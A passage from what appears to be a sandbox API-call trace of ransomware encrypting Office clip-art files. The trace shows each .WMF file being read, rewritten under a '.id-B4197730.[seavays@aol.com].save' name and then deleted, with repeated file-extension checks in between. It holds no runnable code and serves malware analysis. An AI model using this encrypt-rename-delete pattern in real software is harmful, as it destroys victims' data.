nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x40cc, lpOverlapped=0x0) returned 1 [0173.550] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x40d0, lpOverlapped=0x0) returned 1 [0173.551] ReadFile (in: hFile=0x534, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0173.551] WriteFile (in: hFile=0x538, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0173.551] SetEndOfFile (hFile=0x538) returned 1 [0173.551] CloseHandle (hObject=0x538) returned 1 [0173.552] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.552] SetEndOfFile (hFile=0x534) returned 1 [0173.555] CloseHandle (hObject=0x534) returned 1 [0173.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 1 [0173.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0173.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0173.556] lstrlenW (lpString=".doc") returned 4 [0173.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.556] lstrlenW (lpString=".docx") returned 5 [0173.556] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0173.556] lstrlenW (lpString=".pdf") returned 4 [0173.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.556] lstrlenW (lpString=".xls") returned 4 [0173.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.557] lstrlenW (lpString=".xlsx") returned 5 [0173.557] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0173.557] lstrlenW (lpString=".ppt") returned 4 [0173.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0173.557] lstrlenW (lpString=".zip") returned 4 [0173.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.557] lstrlenW (lpString=".rar") returned 4 [0173.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.557] lstrlenW (lpString=".bz2") returned 4 [0173.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.557] lstrlenW (lpString=".7z") returned 3 [0173.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0173.557] lstrlenW (lpString=".dbf") returned 4 [0173.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0173.557] lstrlenW (lpString=".1cd") returned 4 [0173.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0173.557] lstrlenW (lpString=".jpg") returned 4 [0173.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0173.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0173.557] lstrlenW (lpString=".doc") returned 4 [0173.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.557] lstrlenW (lpString=".docx") returned 5 [0173.557] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0173.557] lstrlenW (lpString=".pdf") returned 4 [0173.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.557] lstrlenW (lpString=".xls") returned 4 [0173.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.558] lstrlenW (lpString=".xlsx") returned 5 [0173.558] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0173.558] lstrlenW (lpString=".ppt") returned 4 [0173.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0173.558] lstrlenW (lpString=".zip") returned 4 [0173.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.558] lstrlenW (lpString=".rar") returned 4 [0173.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.558] lstrlenW (lpString=".bz2") returned 4 [0173.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.558] lstrlenW (lpString=".7z") returned 3 [0173.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0173.558] lstrlenW (lpString=".dbf") returned 4 [0173.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0173.558] lstrlenW (lpString=".1cd") returned 4 [0173.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68 [0173.558] lstrlenW (lpString=".jpg") returned 4 [0173.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.558] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.558] lstrlenW (lpString="J0107426.WMF") returned 12 [0173.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0173.693] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=11492) returned 1 [0173.693] CloseHandle (hObject=0x518) returned 1 [0173.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 0x220 [0173.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0173.694] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.694] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0173.696] GetLastError () returned 0x0 [0173.696] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x2ce4, lpOverlapped=0x0) returned 1 [0173.698] WriteFile (in: hFile=0x528, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0173.699] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0173.699] WriteFile (in: hFile=0x528, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0173.699] SetEndOfFile (hFile=0x528) returned 1 [0173.699] CloseHandle (hObject=0x528) returned 1 [0173.700] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.700] SetEndOfFile (hFile=0x518) returned 1 [0173.703] CloseHandle (hObject=0x518) returned 1 [0173.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 1 [0173.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0173.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0173.705] lstrlenW (lpString=".doc") returned 4 [0173.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.705] lstrlenW (lpString=".docx") returned 5 [0173.705] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0173.705] lstrlenW (lpString=".pdf") returned 4 [0173.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.705] lstrlenW (lpString=".xls") returned 4 [0173.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.705] lstrlenW (lpString=".xlsx") returned 5 [0173.705] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0173.705] lstrlenW (lpString=".ppt") returned 4 [0173.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0173.705] lstrlenW (lpString=".zip") returned 4 [0173.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.705] lstrlenW (lpString=".rar") returned 4 [0173.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.705] lstrlenW (lpString=".bz2") returned 4 [0173.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.705] lstrlenW (lpString=".7z") returned 3 [0173.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0173.705] lstrlenW (lpString=".dbf") returned 4 [0173.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0173.706] lstrlenW (lpString=".1cd") returned 4 [0173.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0173.706] lstrlenW (lpString=".jpg") returned 4 [0173.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0173.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0173.706] lstrlenW (lpString=".doc") returned 4 [0173.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.706] lstrlenW (lpString=".docx") returned 5 [0173.706] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0173.706] lstrlenW (lpString=".pdf") returned 4 [0173.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.706] lstrlenW (lpString=".xls") returned 4 [0173.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.706] lstrlenW (lpString=".xlsx") returned 5 [0173.706] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0173.706] lstrlenW (lpString=".ppt") returned 4 [0173.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0173.706] lstrlenW (lpString=".zip") returned 4 [0173.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.706] lstrlenW (lpString=".rar") returned 4 [0173.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.707] lstrlenW (lpString=".bz2") returned 4 [0173.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.707] lstrlenW (lpString=".7z") returned 3 [0173.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0173.707] lstrlenW (lpString=".dbf") returned 4 [0173.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0173.707] lstrlenW (lpString=".1cd") returned 4 [0173.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68 [0173.707] lstrlenW (lpString=".jpg") returned 4 [0173.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.708] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.708] lstrlenW (lpString="J0107456.WMF") returned 12 [0173.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0173.710] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=3724) returned 1 [0173.711] CloseHandle (hObject=0x518) returned 1 [0173.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 0x220 [0173.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0173.711] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.711] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0173.712] GetLastError () returned 0x0 [0173.712] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xe8c, lpOverlapped=0x0) returned 1 [0173.714] WriteFile (in: hFile=0x528, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xe90, lpOverlapped=0x0) returned 1 [0173.715] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0173.715] WriteFile (in: hFile=0x528, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0173.716] SetEndOfFile (hFile=0x528) returned 1 [0173.716] CloseHandle (hObject=0x528) returned 1 [0173.716] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.716] SetEndOfFile (hFile=0x518) returned 1 [0173.720] CloseHandle (hObject=0x518) returned 1 [0173.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 1 [0173.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0173.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0173.721] lstrlenW (lpString=".doc") returned 4 [0173.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.721] lstrlenW (lpString=".docx") returned 5 [0173.721] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0173.721] lstrlenW (lpString=".pdf") returned 4 [0173.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.721] lstrlenW (lpString=".xls") returned 4 [0173.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.721] lstrlenW (lpString=".xlsx") returned 5 [0173.721] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0173.721] lstrlenW (lpString=".ppt") returned 4 [0173.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0173.721] lstrlenW (lpString=".zip") returned 4 [0173.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.722] lstrlenW (lpString=".rar") returned 4 [0173.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.722] lstrlenW (lpString=".bz2") returned 4 [0173.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.722] lstrlenW (lpString=".7z") returned 3 [0173.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0173.722] lstrlenW (lpString=".dbf") returned 4 [0173.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0173.722] lstrlenW (lpString=".1cd") returned 4 [0173.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0173.722] lstrlenW (lpString=".jpg") returned 4 [0173.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0173.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0173.722] lstrlenW (lpString=".doc") returned 4 [0173.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.722] lstrlenW (lpString=".docx") returned 5 [0173.722] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0173.722] lstrlenW (lpString=".pdf") returned 4 [0173.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.722] lstrlenW (lpString=".xls") returned 4 [0173.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.723] lstrlenW (lpString=".xlsx") returned 5 [0173.723] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0173.723] lstrlenW (lpString=".ppt") returned 4 [0173.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0173.723] lstrlenW (lpString=".zip") returned 4 [0173.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.725] lstrlenW (lpString=".rar") returned 4 [0173.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.725] lstrlenW (lpString=".bz2") returned 4 [0173.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.725] lstrlenW (lpString=".7z") returned 3 [0173.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0173.725] lstrlenW (lpString=".dbf") returned 4 [0173.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0173.725] lstrlenW (lpString=".1cd") returned 4 [0173.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68 [0173.725] lstrlenW (lpString=".jpg") returned 4 [0173.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.725] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.725] lstrlenW (lpString="J0107458.WMF") returned 12 [0173.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0173.728] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=3568) returned 1 [0173.728] CloseHandle (hObject=0x518) returned 1 [0173.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 0x220 [0173.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0173.729] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.729] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0173.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0173.730] GetLastError () returned 0x0 [0173.730] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xdf0, lpOverlapped=0x0) returned 1 [0173.891] WriteFile (in: hFile=0x528, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xe00, lpOverlapped=0x0) returned 1 [0173.893] ReadFile (in: hFile=0x518, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0173.893] WriteFile (in: hFile=0x528, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, 